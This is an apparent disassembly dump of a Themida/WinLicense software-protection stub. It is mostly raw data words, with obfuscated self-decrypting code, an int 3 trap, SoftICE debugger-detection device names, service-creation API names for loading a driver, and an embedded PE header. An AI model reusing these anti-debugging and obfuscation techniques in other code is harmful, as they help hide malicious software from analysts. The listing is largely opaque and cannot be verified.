dd 2C97D605h, 0C4D9FE9Dh, 65316ABFh, 0D15E9472h, 5D64DB03h
dd 0A4B36245h, 0A5EB40D9h, 0DB03D16Fh, 0D1BAF036h, 0B9C0DB03h
dd 9EC040Bh, 95E4B4Ch, 3D18DC3h, 748C93DBh, 46F1C97h, 9CB1A675h
dd 7F4E3B3h, 0F40C0BCEh, 38998D17h, 0D17E9377h, 7707D766h
dd 36A525DDh, 617697B5h, 0C4B1A678h, 1C5D54A2h, 536BF90Ah
dd 3D5AF976h, 0B8231E72h, 5CA26929h, 93768726h, 6653E20h
dd 44F21891h, 1E071C3Dh, 52905B7Ch, 0DE2411C5h, 9B1EC2CDh
dd 0A6DFCCD3h, 7634AF4h, 1F20BE2Bh, 4E6633FEh, 87CD2227h
dd 9B1EAF51h, 94385057h, 20665383h, 0A2C94F92h, 49C69198h
dd 68A18E89h, 0EDBA6B1h, 34E6CFF6h, 0CAAF028Ah, 0BC6B6AA3h
dd 9E9884E5h, 0ECB7D8F9h, 0F55F0C62h, 0B21D18CEh, 4F647323h
dd 79AFF54Ah, 7FCEF55Fh, 0F3872BDFh, 0CAEBA88Ah, 580FCFB2h
dd 0FCC99483h, 0C79310DBh, 3788BE04h, 0EE8ECEF5h, 0AB61AEEh
dd 294A6B73h, 0CB36E35Eh, 687D9A3Ch, 0EDB8DF7Fh, 1215h
dd 51053E00h, 9CE27B46h, 0CEF50166h, 2C44656Ch, 0C73EDC46h
dd 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h
dd 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 7EFB68h
dd 241C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 5655h
mov [esp], ebp
push esi
mov esi, 349C0EF0h
push ecx
push 74E33E35h
pop ecx
shl ecx, 4
xor ecx, 37B207E8h
xor ecx, 4B8178BBh
xor ecx, 13633B2h
mov edx, ecx
pop ecx
xor edx, esi
pop esi
push esp
mov ebp, [esp]
add esp, 4
push edx
xor dword ptr [esp], 29B0753Eh
pop dword ptr [ebp+8]
push ecx
mov ecx, 8
add ecx, ebp
xor dword ptr [ecx], 29B0753Eh
pop ecx
push dword ptr [esp]
pop ebp
add esp, 4
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58941B
; ---------------------------------------------------------------------------
and eax, ebp
add al, 0EDh
loc_5ABDB2: ; CODE XREF: Themida_:loc_5AB55Fj
mov eax, 7AAA8B7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0BBh
dd 940D5464h, 6E41F61Eh, 0E839F71Bh, 0Fh, 0C2E05A83h, 365C6137h
dd 0A78241D1h, 81CE6814h, 532922D9h, 0C6815E5Dh, 5A1Ch
dd 4ABAD88Bh, 816D0DD3h, 0DC52FF2h, 0A8B0F6Dh, 0F000000h
dd 48Ch, 6DB96600h, 8B068BB2h, 0D9F081D8h, 6625960Dh, 0E921E981h
dd 0A98DF081h, 0B70F1015h, 77F081DFh, 604217B7h, 0F000BA66h
dd 0F7B70F51h, 689615Ah, 2820Fh, 0CE8A0000h, 0F04EE83h
dd 0D86h, 8E900h, 0CE20000h, 9DDD7668h, 0F4A6F59h, 0FFFFB085h
dd 0CB8B66FFh, 8CE9h, 0BD836000h, 7A833CDh, 5840F00h, 0E9000000h
dd 77h, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h
dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h
dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h
dd 8D000000h, 0A8094585h, 90509007h, 6A965096h, 0AD95FF00h
dd 6107A829h, 1985C6C3h, 4D07A806h, 4F82E768h, 24048193h
dd 10E5F3C1h, 1E35B5FFh, 858D07A8h, 7A83BDFh, 8589D0FFh
dd 7A829ADh, 0AAE9h, 666F5300h, 72617774h, 69575C65h, 63694C6Eh
dd 65736E65h, 65684300h, 4E496B63h, 72705800h, 7845746Fh
dd 43007469h, 6B636568h, 54554Fh, 4C6E6957h, 6E656369h
dd 65566573h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
dd 76697244h, 65567265h, 6F697372h, 6957006Eh, 63694C6Eh
dd 65736E65h, 74736E49h, 65636E61h, 69784500h, 6B4F74h
dd 636F7250h, 50004E49h, 4F636F72h, 45005455h, 49746978h
dd 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0)
dd 8000000h, 0BB77DEB9h, 0E977DFD5h, 596h, 0AB468589h
dd 858D07AAh, 7AAAB42h, 0AC858D50h, 5007AAAAh, 168h, 5295FF80h
dd 6A07AAABh, 46B5FF19h, 6A07AAABh, 8D006A01h, 0AAAADB85h
dd 0B5FF5007h, 7AAAB42h, 296195FFh, 0B5FF07A8h, 7AAAB42h
dd 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h, 27C595FFh, 89C307A8h
dd 0AAAB4685h, 42858D07h, 5007AAABh, 0AAAC858Dh, 685007AAh
dd 80000001h, 0AB5295FFh, 46A07AAh, 0AB46858Dh, 6A5007AAh
dd 8D006A04h, 0AAAB0585h, 0B5FF5007h, 7AAAB42h, 296195FFh
dd 0B5FF07A8h, 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h
dd 27C595FFh, 89C307A8h, 0AAAB4685h, 42858D07h, 5007AAABh
dd 0AAAC858Dh, 685007AAh, 80000001h, 0AB5295FFh, 46A07AAh
dd 0AB46858Dh, 6A5007AAh, 8D006A04h, 0AAAAED85h, 0B5FF5007h
dd 7AAAB42h, 296195FFh, 0B5FF07A8h, 7AAAB42h, 0AB4E95FFh
dd 0B5FF07AAh, 7AAAB42h, 27C595FFh, 89C307A8h, 0AAAB4685h
dd 42858D07h, 5007AAABh, 0AAAC858Dh, 685007AAh, 80000001h
dd 0AB5295FFh, 46A07AAh, 0AB46858Dh, 6A5007AAh, 8D006A04h
dd 0AAAB1885h, 0B5FF5007h, 7AAAB42h, 296195FFh, 0B5FF07A8h
dd 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h, 27C595FFh
dd 89C307A8h, 0AAAB4685h, 42858D07h, 5007AAABh, 0AAAC858Dh
dd 685007AAh, 80000001h, 0AB5295FFh, 46A07AAh, 0AB46858Dh
dd 6A5007AAh, 8D006A04h, 0AAAAC885h, 0B5FF5007h, 7AAAB42h
dd 296195FFh, 0B5FF07A8h, 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh
dd 7AAAB42h, 27C595FFh, 83C307A8h, 0A82F55BDh, 840F0007h
dd 0Bh, 2F559D8Bh, 0C38307A8h, 0C303894Ch, 2F55BD83h, 0F0007A8h
dd 0B84h, 559D8B00h, 8307A82Fh, 38950C3h, 55BD83C3h, 7A82Fh
dd 0B840Fh, 9D8B0000h, 7A82F55h, 8954C383h, 0BD83C303h
dd 7A82F55h, 0B840F00h, 8B000000h, 0A82F559Dh, 58C38307h
dd 83C30389h, 0A82F55BDh, 840F0007h, 0Bh, 2F559D8Bh, 0C38307A8h
dd 0C303895Ch, 858960C3h, 7AAAB46h, 0AB42858Dh, 8D5007AAh
dd 0AAAAAC85h, 1685007h, 0FF800000h, 0AAAB5295h, 8D046A07h
dd 0AAAB4685h, 46A5007h, 858D006Ah, 7AAAB3Dh, 42B5FF50h
dd 0FF07AAABh, 0A8296195h, 0F9BD8307h, 7A827h, 0C840Fh
dd 0B5FF0000h, 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h
dd 27C595FFh, 0C36107A8h, 46858960h, 8D07AAABh, 0AAAB4285h
dd 858D5007h, 7AAAAACh, 16850h, 95FF8000h, 7AAAB52h, 858D046Ah
dd 7AAAB46h, 6A046A50h, 1F858D00h, 5007AAABh, 0AB42B5FFh
dd 95FF07AAh, 7A82961h, 27F9BD83h, 0F0007A8h, 0C84h, 42B5FF00h
dd 0FF07AAABh, 0AAAB4E95h, 42B5FF07h, 0FF07AAABh, 0A827C595h
dd 60C36107h, 0AB468589h, 858D07AAh, 7AAAB42h, 0AC858D50h
dd 5007AAAAh, 168h, 5295FF80h, 6A07AAABh, 46858D04h, 5007AAABh
dd 6A046Ah, 0AB26858Dh, 0FF5007AAh, 0AAAB42B5h, 6195FF07h
dd 8307A829h, 0A827F9BDh, 840F0007h, 0Ch, 0AB42B5FFh, 95FF07AAh
dd 7AAAB4Eh, 0AB42B5FFh, 95FF07AAh, 7A827C5h, 8960C361h
dd 0AAAB4685h, 42858D07h, 5007AAABh, 0AAAC858Dh, 685007AAh
dd 80000001h, 0AB5295FFh, 46A07AAh, 0AB46858Dh, 6A5007AAh
dd 8D006A04h, 0AAAB2E85h, 0B5FF5007h, 7AAAB42h, 296195FFh
dd 0BD8307A8h, 7A827F9h, 0C840F00h, 0FF000000h, 0AAAB42B5h
dd 4E95FF07h, 0FF07AAABh, 0AAAB42B5h, 0C595FF07h, 6107A827h
dd 858960C3h, 7AAAB46h, 0AB42858Dh, 8D5007AAh, 0AAAAAC85h
dd 1685007h, 0FF800000h, 0AAAB5295h, 8D046A07h, 0AAAB4685h
dd 46A5007h, 858D006Ah, 7AAAB35h, 42B5FF50h, 0FF07AAABh
dd 0A8296195h, 0F9BD8307h, 7A827h, 0C840Fh, 0B5FF0000h
dd 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h, 27C595FFh
dd 0C36107A8h, 4685C760h, 107AAABh, 8D000000h, 0AAAB4285h
dd 858D5007h, 7AAAAACh, 26850h, 95FF8000h, 7AAAB52h, 840FC00Bh
dd 0Fh, 0AB4685C7h, 7AAh, 4DE90000h, 6A000000h, 46858D04h
dd 5007AAABh, 6A046Ah, 0AAC0858Dh, 0FF5007AAh, 0AAAB42B5h
dd 6195FF07h, 0B07A829h, 0F840FC0h, 0C7000000h, 0AAAB4685h
dd 7, 0AE900h, 85C70000h, 7AAAB46h, 1, 0AB42B5FFh, 95FF07AAh
dd 7A827C5h, 46858B61h, 0C307AAABh, 46858960h, 8D07AAABh
dd 0AAAB4285h, 858D5007h, 7AAAAACh, 16850h, 95FF8000h
dd 7AAAB52h, 858D046Ah, 7AAAB46h, 6A046A50h, 0C0858D00h
dd 5007AAAAh, 0AB42B5FFh, 95FF07AAh, 7A82961h, 27F9BD83h
dd 0F0007A8h, 0C84h, 42B5FF00h, 0FF07AAABh, 0AAAB4E95h
dd 42B5FF07h, 0FF07AAABh, 0A827C595h, 60C36107h, 0AB468589h
dd 858D07AAh, 7AAAB42h, 0AC858D50h, 5007AAAAh, 168h, 5295FF80h
dd 6A07AAABh, 46858D04h, 5007AAABh, 6A046Ah, 0AAD2858Dh
dd 0FF5007AAh, 0AAAB42B5h, 6195FF07h, 8307A829h, 0A827F9BDh
dd 840F0007h, 0Ch, 0AB42B5FFh, 95FF07AAh, 7AAAB4Eh, 0AB42B5FFh
dd 95FF07AAh, 7A827C5h, 85C6C361h, 7A80619h, 7B076852h
dd 0B5FFADE4h, 7A80379h, 1DF595FFh, 858907A8h, 7AAAB52h
dd 61985C6h, 685207A8h, 902E00E5h, 379B5FFh, 95FF07A8h
dd 7A81DF5h, 0AB4E8589h, 85C607AAh, 7A80619h, 12356852h
dd 0B5FFB9BFh, 7A80379h, 1DF595FFh, 858907A8h, 7A82961h
dd 61985C6h, 685207A8h, 98781034h, 379B5FFh, 95FF07A8h
dd 7A81DF5h, 27C58589h, 85C607A8h, 7A80619h, 0DBD46852h
dd 0B5FFC005h, 7A80379h, 1DF595FFh, 858907A8h, 7A81D65h
dd 0CE8h, 0A0C51A00h, 0A729079Fh, 0E485F945h, 0CEB70F01h
dd 818EB85Fh, 0C781781Ah, 6746h, 2BF0BF0Fh, 98B1B9D2h
dd 34FF1A30h, 4800F3Ah, 50000000h, 5B5E5E57h, 0C38174B5h
dd 21D2521Ch, 81F78B66h, 27974EBh, 81C78A47h, 0AE8095EBh
dd 0C68B661Ah, 0C18B6653h, 0B417048Fh, 83F38BCAh, 0D08101EAh
dd 6FAF41D7h, 664A4A4Ah, 81F7AABEh, 0FF9958FAh, 17850FFFh
dd 81000000h, 0FACB00F1h, 21E941h, 63B10000h, 0E763490Fh
dd 0F9417674h, 0A3BEA8B9h, 0E95EEEB4h, 0FFFFFF8Eh, 66E8038Fh
dd 1A65837Bh, 0EBDC909Bh, 2E5C5C1Eh, 4349535Ch, 5C5C0045h
dd 49535C2Eh, 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h
dd 7E8C0h, 41980000h, 0A2581E8Bh, 0BA665A4Ch, 0BD83E169h
dd 7A827F9h, 83097500h, 0A80605BDh, 19740007h, 0C08B5350h
dd 40FB8h, 85858900h, 8D07A825h, 0AAB0239Dh, 5BD3FF07h
dd 5BD8358h, 7A806h, 53501774h, 40FB8h, 85858900h, 8D07A825h
dd 0AAAD129Dh, 5BD3FF07h, 0ED806058h, 9E909h, 37280000h
dd 4E1DF3A7h, 611AF76Fh, 0C08BC88Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 24C35040h, 0F0A5CF5h, 85C6F1BFh
dd 7A80619h, 7E40BF43h, 8D8B3DB2h, 7A81CF1h, 6521D268h
dd 0D38B6640h, 2A240481h, 317C294Dh, 0A81D0D85h, 39858907h
dd 0FF07A825h, 0A81895B5h, 0E1BD8B07h, 8D07A805h, 0A83BDF85h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0EE2DBDDAh, 0D0FFAF79h, 8BD3BF0Fh
dd 0A82CF1BDh, 6E99007h, 88000000h, 0BC056811h, 66575011h
dd 905FF78Bh, 2A6D8D89h, 6A07A8h, 93DBD8Bh, 316807A8h
dd 81F220D5h, 2B4F2404h, 6E90DDFh, 0F0000000h, 699AFA68h
dd 66036A74h, 6830F781h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 8AF986C3h, 66036AF5h
dd 89BC70BFh, 0A82569BDh, 37176807h, 0D18B98A0h, 17243481h
dd 0B958A037h, 5B7050A1h, 0B2309D8Dh, 6A07AAh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 22CFB0C3h, 21EC921Ah, 49B58B22h, 8907A824h, 0A8171995h
dd 72B29307h, 93F88B50h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 0B0C35141h, 4750A477h, 7C0383D9h, 18D29EFh
dd 0FF07A822h, 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 8B6660CEh, 850F40FEh
dd 2DFh, 0E9E68166h, 0F28B58D7h, 1C8B0F50h, 0E8000000h
dd 14h, 0D585E093h, 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah
dd 895FC1B1h, 8E92404h, 0E6000000h, 18FCA532h, 6A083D09h
dd 810FF900h, 6, 2459958Bh, 996807A8h, 6621134Fh, 81CA48BAh
dd 4F192434h, 9E82113h, 1F000000h, 5601845Ah, 7F269DD8h
dd 14E850h, 6CD80000h, 182F78D5h, 513ABFC2h, 0F7762293h
dd 35B2C86Bh, 595A4460h, 6A036A5Ah, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4CAFC356h
dd 0F4A5B966h, 9D89006Ah, 7A82135h, 9D09036Ah, 7A829F1h
dd 1F512168h, 2850F92h, 0B6000000h, 2434810Dh, 521F5121h
dd 1BB1958Bh, 9D8D07A8h, 7AAB239h, 1D619501h, 0E89307A8h
dd 0Ah, 5AE2E95Eh, 0AE8DC6E9h, 14E91E82h, 0B4000000h, 14320F66h
dd 28764B5h, 22C8FB6Fh, 0EA2E528Dh, 5A5B9946h, 66525050h
dd 310FF78Bh, 9F55BA66h, 6693585Ah, 0FF9B7AB9h, 0DE8D0h
dd 32540000h, 0D222D73Bh, 38A3E56Bh, 0B2E0C462h, 0CE95A4Fh
dd 0B5000000h, 0B31A0DE5h, 6832FB29h, 40D29D2Ch, 195850Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0B099EC3h, 94940911h, 236D9589h, 58FC07A8h
dd 0E925E180h, 11h, 68CEFFCEh, 0AAF23B8h, 0F7F42D93h, 0F5D10209h
dd 8E89087h, 1D000000h, 4B94C68Eh, 5F779D1Bh, 3810F50h
dd 66000000h, 8990CF8Bh, 0A8258D85h, 0CB8B6007h, 2251958Bh
dd 6A6107A8h, 28A0F00h, 0B2000000h, 0AD6A6876h, 0C5B9431Ah
dd 816F9F58h, 0ADEA2434h, 8F0F431Ah, 6, 0B11BD8Bh, 36A07A8h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 63C35141h
dd 36B7DAEBh, 0D781660Ah, 6AC269h, 36AD8B1h, 9D39CE81h
dd 0B5037735h, 7A80601h, 21DEEA68h, 5830FBDh, 0BA000000h
dd 798B2F75h, 16240481h, 0F02DE21h, 686h, 198D8B00h, 3307A81Dh
dd 0A82E31B5h, 449D8D07h, 6A07AAB2h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C2A0C356h
dd 0E84C4677h, 12h, 0B8E4F603h, 5596AF9Fh, 0BF2E61D9h
dd 0CA07AA76h, 0BD89E2A1h, 7A82D6Dh, 1C89505Fh, 6AD0FF24h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0C77BC357h, 0F48D0408h, 898DAC97h, 0A82761BDh
dd 850F4007h, 23h, 32619523h, 0E95807A8h, 0Ch, 13A5F3CFh
dd 81E405E0h, 0AF3477C0h, 0CFE9h, 1858900h, 8B07A82Bh
dd 45B58BD8h, 4B07A80Eh, 28E0Fh, 0D48A0000h, 0CE816658h
dd 85C6D68Bh, 7A80619h, 53006A43h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 7D4FAF4Eh, 8B661657h
dd 0F79868F3h, 5250ED55h, 7E860h, 86450000h, 9BB535C9h
dd 0FBBE5B85h, 613F0A2Ch, 6E9310Fh, 0B0000000h, 1792E761h
dd 81585A7Dh, 0BD3F2434h, 0EA802D23h, 95B5FFD8h, 5307A818h
dd 3ADE45BEh, 858D5E33h, 7A83BDFh, 11DE8166h, 50D0FF3Eh
dd 1C89CB8Bh, 0DE924h, 76870000h, 0BA222F42h, 9BC6CF94h
dd 0FFFC2FBCh, 8D7EB2D0h, 0A871FB9Dh, 21B58907h, 0B807A833h
dd 1, 9F53BF66h, 958BE3FFh, 7A819C1h, 8D33C18Bh, 7A830A1h
dd 0DFDF8166h, 6AC08BCBh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 1FB5C357h, 7D9C65F5h
dd 0D769A3BFh, 0F9BD836Dh, 7A827h, 0BD830975h, 7A80605h
dd 50197400h, 0B8C08B53h, 40Fh, 0ECD8589h, 9D8D07A8h, 7AAB08Ah
dd 585BD3FFh, 605BD83h, 740007A8h, 0B8535017h, 40Fh, 0ECD8589h
dd 9D8D07A8h, 7AAAD2Bh, 585BD3FFh, 53DA8166h, 83CA8069h
dd 0EE9C08Bh, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 0EFE900h, 85C60000h, 7A80619h, 5B866847h, 0B5FFE3E4h
dd 7A81895h, 3BDF858Dh, 0D0FF07A8h, 10468h, 259D8D00h
dd 5307A82Bh, 8D50D0FFh, 0AABA8EB5h, 32FE8B07h, 850FAEC0h
dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0A8061985h
dd 0FC684307h, 0FFBC8E6Eh, 0A81895B5h, 0DF858D07h, 0FF07A83Bh
dd 25B58DD0h, 6A07A82Bh, 806800h, 26A0000h, 6A006Ah, 68h
dd 0D0FF56C0h, 85C6D88Bh, 7A80619h, 0EE566857h, 0B5FFA69Bh
dd 7A81895h, 3BDF858Dh, 0D0FF07A8h, 439BD8Dh, 8D8D07A8h
dd 7AABBB4h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh
dd 0B896B58Dh, 858D07AAh, 7AAA9F4h, 8D8DD0FFh, 7A871FBh
dd 0B8h, 0C6E1FF00h, 0A8061985h, 0A7684307h, 0FFC0764Ah
dd 0A81895B5h, 0DF858D07h, 0FF07A83Bh, 0D0FF53D0h, 37D0B9C3h
dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h
dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_44B1A4+9A5Ch
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
clc
retn
; ---------------------------------------------------------------------------
align 10h
dd 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
dd 83000000h, 0AAF409BDh, 840F0007h, 0Ah, 60585C7h, 107A8h
dd 85C60000h, 7A80619h, 61AA6847h, 4814E0Eh, 5F0AE324h
dd 95B5FF42h, 8D07A818h, 0A83BDF85h, 0FFD0FF07h, 80F88BD0h
dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1B840F00h
dd 47000003h, 0F003F80h, 31184h, 1EE900h, 3F800000h, 3840F00h
dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h
dd 0F003F80h, 585h, 2E0E900h, 1E90000h, 47000000h, 0F203F80h
dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C3E90000h, 0E8000002h
dd 0Ah, 0FFFFCBE9h, 2B4E9FFh, 0B58D0000h, 7AAF389h, 225E8h
dd 1EBD0300h, 8307AAF4h, 0AAF41EBDh, 840F0007h, 0Bh, 27F985C7h
dd 107A8h, 8DC30000h, 0AAF394B5h, 1FCE807h, 0BD030000h
dd 7AAF41Eh, 0F41EBD83h, 0F0007AAh, 0B84h, 585C700h, 107A806h
dd 0C3000000h, 0F40DB58Dh, 0D3E807AAh, 3000001h, 0AAF41EBDh
dd 1EBD8307h, 7AAF4h, 0B840Fh, 85C70000h, 7A833CDh, 1
dd 9EB58DC3h, 0E807AAF3h, 1AAh, 0F41EBD03h, 0BD8307AAh
dd 7AAF41Eh, 0B840F00h, 0C7000000h, 0A8060585h, 107h, 0B58DC300h
dd 7AAF3A8h, 181E8h, 1EBD0300h, 8307AAF4h, 0AAF41EBDh
dd 840F0007h, 15h, 60585C7h, 107A8h, 85C70000h, 7A827F9h
dd 1, 0B6B58DC3h, 0E807AAF3h, 14Eh, 0F41EBD03h, 0BD8307AAh
dd 7AAF41Eh, 0A840F00h, 0C7000000h, 0A8297585h, 107h, 0C0B58D00h
dd 0E807AAF3h, 126h, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
dd 0A840F00h, 0C7000000h, 0A8297585h, 107h, 0CBB58D00h
dd 0E807AAF3h, 0FEh, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
dd 0A840F00h, 0C7000000h, 0A80E8985h, 107h, 0D1B58D00h
dd 0E807AAF3h, 0D6h, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
dd 0A840F00h, 0C7000000h, 0A80EB985h, 107h, 0D7B58D00h
dd 0E807AAF3h, 0AEh, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
dd 0A840F00h, 0C7000000h, 0A82ABD85h, 107h, 0E5B58D00h
dd 0E807AAF3h, 86h, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh, 0A840F00h
dd 0C7000000h, 0A82CAD85h, 107h, 0F2B58D00h, 0E807AAF3h
dd 5Eh, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh, 0A840F00h, 0C7000000h
dd 0A8221D85h, 107h, 0FDB58D00h, 0E807AAF3h, 36h, 0F41EBD03h
dd 0BD8307AAh, 7AAF41Eh, 0A840F00h, 0C7000000h, 0A810B185h
dd 107h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
dd 0B960C3FFh, 1, 1CE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h
dd 38178A00h, 2840F16h, 2B000000h, 804746C9h, 840F003Eh
dd 8, 850FC90Bh, 0FFFFFFD3h, 840FC90Bh, 21h, 0F003F80h
dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h
dd 0FC90B00h, 0D84h, 89F32B00h, 0AAF41EB5h, 0AE907h, 85C70000h
dd 7AAF41Eh, 0
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
mov eax, 0
or eax, eax
jz loc_5B0C15
mov dword ptr [ebp+7A82975h], 0
loc_5B0C15: ; CODE XREF: Themida_:005B0C05j
mov ecx, eax
call near ptr loc_5B0C21+1
aad 0EBh
test dh, al
movsd
loc_5B0C21: ; CODE XREF: Themida_:005B0C17p
xor bh, [edx+2E25E3C9h]
pop esi
call near ptr loc_5B0C34+2
int 3 ; Trap to Debugger
dec edi
ror bl, 1
test dl, al
setalc
loc_5B0C34: ; CODE XREF: Themida_:005B0C28p
sub [ecx+0BB58589h], bh
test al, 7
pop eax
add esi, 64C7h
sub [ebp+7A82791h], esi
mov edi, 0CC00624h
add edi, 0F34012E6h
cld
loc_5B0C55: ; CODE XREF: Themida_:005B0CAEj
push dword ptr [esi]
mov ebx, [ebp+7A81579h]
pop ecx
adc dh, 0E3h
add ecx, 3841426h
jz loc_5B0C73
mov [ebp+7A826A9h], ecx
loc_5B0C73: ; CODE XREF: Themida_:005B0C67j
sub ecx, 559B8E65h
push ebx
mov [ebp+7A81A11h], edi
pop edx
xor ecx, 47A9074Fh
and ebx, [ebp+7A8236Dh]
mov [esi], ecx
jmp loc_5B0C9E
; ---------------------------------------------------------------------------
dd 0F2AC26B8h, 58317D19h
db 0BFh, 0F0h
; ---------------------------------------------------------------------------
loc_5B0C9E: ; CODE XREF: Themida_:005B0C8Fj
sub esi, 1
movzx eax, dx
dec esi
dec esi
dec esi
mov ebx, [ebp+7A83165h]
dec edi
jnz loc_5B0C55
pusha
mov cx, dx
and edi, 7CD46C57h
popa
jmp loc_5B1D7B
; ---------------------------------------------------------------------------
dd 41564441h, 32334950h, 4C4C442Eh, 65704F00h, 4D43536Eh
dd 67616E61h, 417265h, 61657243h, 65536574h, 63697672h
dd 53004165h, 74726174h, 76726553h, 41656369h, 74654700h
dd 6974614Eh, 79536576h, 6D657473h, 6F666E49h, 65704F00h
dd 7265536Eh, 65636976h, 65440041h, 6574656Ch, 76726553h
dd 656369h, 736F6C43h, 72655365h, 65636976h, 646E6148h
dd 4300656Ch, 72746E6Fh, 65536C6Fh, 63697672h, 65h, 7 dup(0)
